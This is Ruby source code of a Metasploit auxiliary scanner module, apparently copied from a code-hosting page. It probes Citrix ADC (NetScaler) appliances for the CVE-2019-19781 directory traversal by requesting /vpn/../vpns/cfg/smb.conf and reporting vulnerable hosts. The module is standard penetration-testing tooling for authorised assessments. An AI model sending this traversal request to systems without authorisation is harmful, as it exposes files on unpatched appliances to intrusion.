Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/scanner/http/citrix_dir_traversal.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary67include Msf::Exploit::Remote::HttpClient8include Msf::Auxiliary::Scanner9include Msf::Auxiliary::Report1011def initialize(info = {})12super(update_info(info,13'Name' => 'Citrix ADC (NetScaler) Directory Traversal Scanner',14'Description' => %{15This module exploits a directory traversal vulnerability (CVE-2019-19781) within Citrix ADC16(NetScaler). It requests the smb.conf file located in the /vpns/cfg directory by issuing the request17/vpn/../vpns/cfg/smb.conf. It then checks if the server is vulnerable by looking for the presence of18a "[global]" directive in smb.conf, which this file should always contain.19},20'Author' => [21'Mikhail Klyuchnikov', # Discovery22'Erik Wynter', # Module (@wyntererik)23'altonjx' # Module (@altonjx)24],25'References' => [26['CVE', '2019-19781'],27['URL', 'https://web.archive.org/web/20200111095223/https://support.citrix.com/article/CTX267027/'],28['URL', 'https://swarm.ptsecurity.com/remote-code-execution-in-citrix-adc/']29],30'DisclosureDate' => '2019-12-17',31'License' => MSF_LICENSE,32'Notes' => {33'AKA' => ['Shitrix']34}35))3637register_options([38OptString.new('TARGETURI', [true, 'Base path', '/']),39OptString.new('PATH', [true, 'Traversal path', '/vpn/../vpns/cfg/smb.conf'])40])41end4243def run_host(target_host)44turi = normalize_uri(target_uri.path, datastore['PATH'])4546res = send_request_cgi(47'method' => 'GET',48'uri' => turi49)5051unless res52print_error("#{full_uri(turi)} - No response, target seems down.")5354return Exploit::CheckCode::Unknown55end5657unless res.code == 20058print_error("#{full_uri(turi)} - The target is not vulnerable to CVE-2019-19781.")59vprint_error("Obtained HTTP response code #{res.code} for #{full_uri(turi)}.")6061return Exploit::CheckCode::Safe62end6364if turi.end_with?('smb.conf')65unless res.headers['Content-Type'].starts_with?('text/plain') && res.body.match(/\[\s*global\s*\]/)66vprint_warning("#{turi} does not contain \"[global]\" directive.")67end68end6970print_good("#{full_uri(turi)} - The target is vulnerable to CVE-2019-19781.")71msg = "Obtained HTTP response code #{res.code} for #{full_uri(turi)}. " \72"This means that access to #{turi} was obtained via directory traversal."73vprint_good(msg)7475report_vuln(76host: target_host,77name: name,78refs: references,79info: msg80)8182Exploit::CheckCode::Vulnerable83end8485end868788